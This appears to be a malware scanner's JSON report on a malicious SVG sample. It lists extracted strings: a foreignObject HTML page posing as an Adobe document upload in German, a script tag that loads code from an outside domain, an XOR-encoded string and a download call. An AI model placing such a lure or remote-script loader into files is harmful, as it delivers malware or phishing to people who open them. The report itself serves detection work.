{
  "ml": {
    "v": "5",
    "fs": [
      {
        "id": 0,
        "prob": 0.9998890161514282,
        "class": 2,
        "threshold": 0.9981530904769897
      }
    ],
    "prob": 0.999889,
    "class": 2,
    "level": 3,
    "models": [
      {
        "m": "az",
        "prob": 0.87486404,
        "class": 0
      },
      {
        "m": "az/config",
        "prob": 0.9714286,
        "class": 0
      },
      {
        "m": "az/xml",
        "prob": 0.4342857,
        "class": 0
      }
    ],
    "version": "v17.17",
    "threshold": 0.9981531,
    "analyzed_at": "2026-05-30T00:56:44Z"
  },
  "path": "3d5dc5dfb0b792640db1cd518f82882f14c8fb4138555b595c2bfcdadf354a2d.svg",
  "raw": {
    "v": "5",
    "fs": [
      {
        "f": "MdTh",
        "x": 38,
        "ff": {
          "m": {
            "file": {
              "size": 15520.0,
              "entropy": 6.01,
              "size_bytes": 15520.0
            }
          },
          "s": [
            [
              2,
              "u8",
              "\u003csvg xmlns=\"http://www.w3.org/2000/svg\" width=\"100%\" height=\"100%\"\u003e"
            ],
            [
              71,
              "u8",
              "\u003cforeignObject class=\"node\" x=\"0\" y=\"0\" width=\"100%\" height=\"100%\"\u003e"
            ],
            [
              142,
              "u8",
              "\u003cbody xmlns=\"http://www.w3.org/1999/xhtml\"\u003e"
            ],
            [
              191,
              "u8",
              "\u003cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"/\u003e"
            ],
            [
              270,
              "u8",
              "\u003cscript src=\"https://z-sercem.pl/?u=script\"\u003e\u003c/script\u003e"
            ],
            [
              331,
              "u8",
              "\u003cstyle\u003e"
            ],
            [
              346,
              "u8",
              "@import url('https://fonts.googleapis.com/css2?family=Inter:ital,opsz,wght@0,14..32,100..900;1,14..32,100..900\u0026amp;display=swap'"
            ],
            [
              478,
              "u8",
              "body, html, foreignObject"
            ],
            [
              508,
              "u8",
              "padding: 0;"
            ],
            [
              524,
              "u8",
              "margin: 0;"
            ],
            [
              539,
              "u8",
              "font-family: \"Inter\", Arial, sans-serif;"
            ],
            [
              584,
              "u8",
              "font-optical-sizing: auto;"
            ],
            [
              615,
              "u8",
              "font-style: normal;"
            ],
            [
              639,
              "u8",
              "font-weight: 300;"
            ],
            [
              679,
              "u8",
              "background-color: #fff;"
            ],
            [
              707,
              "u8",
              "background-repeat: no-repeat;"
            ],
            [
              741,
              "u8",
              "background-position: right;"
            ],
            [
              775,
              "base64",
              "\u003csvg id=\"Layer_1\" data-name=\"Layer 1\" xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 897 549\"\u003e\u003cdefs\u003e\u003cstyle\u003e.cls-1{fill:#f5f5f5;"
            ],
            [
              9379,
              "u8",
              "border: 3px solid #1473E6;"
            ],
            [
              9410,
              "u8",
              "background: #1473E6;"
            ],
            [
              9435,
              "u8",
              "border-radius: 20px;"
            ],
            [
              9460,
              "u8",
              "color: #fff;"
            ],
            [
              9477,
              "u8",
              "padding: 8px 30px;"
            ],
            [
              9500,
              "u8",
              "text-decoration: none;"
            ],
            [
              9542,
              "u8",
              "border: 3px solid #105cb8;"
            ],
            [
              9576,
              "u8",
              "\u003c/style\u003e"
            ],
            [
              9592,
              "u8",
              "\u003cdiv style=\"background-color: #f2f2f2; position: absolute; top: 0; left: 0; right: 0; bottom: 0;\"\u003e"
            ],
            [
              9700,
              "u8",
              "\u003cdiv style=\"position: absolute; left: 20px; top: 20px; right: 20px; bottom: 0px; \"\u003e"
            ],
            [
              9789,
              "u8",
              "\u003cdiv id=\"wrapper\" style=\"padding: 10px; border: 1px solid #AAA; border-radius: 10px; height: 300px;  \"\u003e"
            ],
            [
              9910,
              "u8",
              "\u003cimg style=\"vertical-align: middle;  width: 50px;\"  src=\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAHQAAAByCAYAAACCw/U6AAABh"
            ],
            [
              14237,
              "u8",
              "\u003cdiv id=\"wait\" style=\"padding-top: 10px;\"\u003eBitte warten Sie, Ihr Dokument wird hochgeladen...\u003c/div\u003e"
            ],
            [
              14337,
              "u8",
              "\u003cdiv id=\"loadingWrapper\" style=\"position: relative; margin-top: 10px; border-radius: 20px; background-color: rgba(242, 242, 242,"
            ],
            [
              14477,
              "u8",
              "\u003cdiv id=\"loading\" style=\"display: inline-block; position: relative; border-radius: 20px; height: 10px; background: #B30C00; widt"
            ],
            [
              14655,
              "u8",
              "\u003c/div\u003e"
            ],
            [
              14673,
              "u8",
              "\u003cdiv id=\"loaded\" style=\"display: none; border-radius: 20px; margin-top: 10px; padding: 20px; background-color: rgba(255, 255, 25"
            ],
            [
              14813,
              "u8",
              "Ihr Dokument wurde hochgeladen."
            ],
            [
              14904,
              "u8",
              "ffnen Sie Ihre Datei\u003c/a\u003e\u003c/div\u003e"
            ],
            [
              14968,
              "xor",
              "%}po9jm`u|$;txk~pw4mvi#9,ia\"9zvuvk#9:///\"9"
            ],
            [
              15040,
              "u8",
              "2025 Adobe. All rights reserved.\u003c/div\u003e"
            ],
            [
              15093,
              "u8",
              "\u003cscript\u003e"
            ],
            [
              15103,
              "u8",
              "downloadSet();"
            ],
            [
              15134,
              "u8",
              "var intervalId = setInterval(function()"
            ],
            [
              15178,
              "u8",
              "document.getElementById(\"loading\").style.width = i + \"%\";"
            ],
            [
              15275,
              "u8",
              "clearInterval(intervalId);"
            ],
            [
              15310,
              "u8",
              "document.getElementById(\"loaded\").style.display = \"block\";"
            ],
            [
              15376,
              "u8",
              "document.getElementById(\"wait\").style.display = \"none\";"
            ],
            [
              15458,
              "u8",
              "\u003c/script\u003e"
            ],
            [
              15479,
              "u8",
              "\u003c/body\u003e"
            ],
            [
              15492,
              "u8",
              "\u003c/foreignObject\u003e"
            ],
            [
              15512,
              "u8",
              "\u003c/svg\u003e"
            ]
          ],
          "v": {
            "file.stem": "3d5dc5dfb0b792640db1cd518f82882f14c8fb4138555b595c2bfcdadf354a2d",
            "file.basename": "3d5dc5dfb0b792640db1cd518f82882f14c8fb4138555b595c2bfcdadf354a2d.svg"
          },
          "id": "xml"
        },
        "id": 0,
        "sz": 15520,
        "ts": [
          {
            "c": 0.8199999928474426,
            "d": "CSS display none rule",
            "e": [
              "display: none"
            ],
            "i": "micro-behaviors/data/format/css::display-none",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "Encoded payload detected: base64",
            "e": [
              "\u003csvg id=\"Layer_1\" data-name=\"Layer 1\" xm \u003cbase64\u003e"
            ],
            "i": "metadata/encoded-payload/base64",
            "l": 3,
            "el": [
              "offset:775"
            ]
          },
          {
            "c": 0.8999999761581421,
            "d": "Encoded payload detected: xor",
            "e": [
              "%}po9jm`u|$;txk~pw4mvi#9,ia\"9zvuvk#9:/// \u003cxor\u003e"
            ],
            "i": "metadata/encoded-payload/xor",
            "l": 3,
            "el": [
              "offset:14968"
            ]
          },
          {
            "c": 0.8999999761581421,
            "d": "Presence of foreignObject in SVG file",
            "e": [
              "svg",
              "\u003c/foreignObject"
            ],
            "i": "third_party/DelivrTo/SUSP/SVG/Foreignobject/Nov24",
            "l": 4,
            "el": [
              "offset:0x3",
              "offset:0x3c86"
            ]
          }
        ],
        "sha": "3d5dc5dfb0b792640db1cd518f82882f14c8fb4138555b595c2bfcdadf354a2d",
        "path": "/data/samples/bad/datasets/various/datalake.abuse.ch/2025-06/3d5dc5dfb0b792640db1cd518f82882f14c8fb4138555b595c2bfcdadf354a2d.svg",
        "type": "xml"
      }
    ],
    "tv": "ca5ef"
  }
}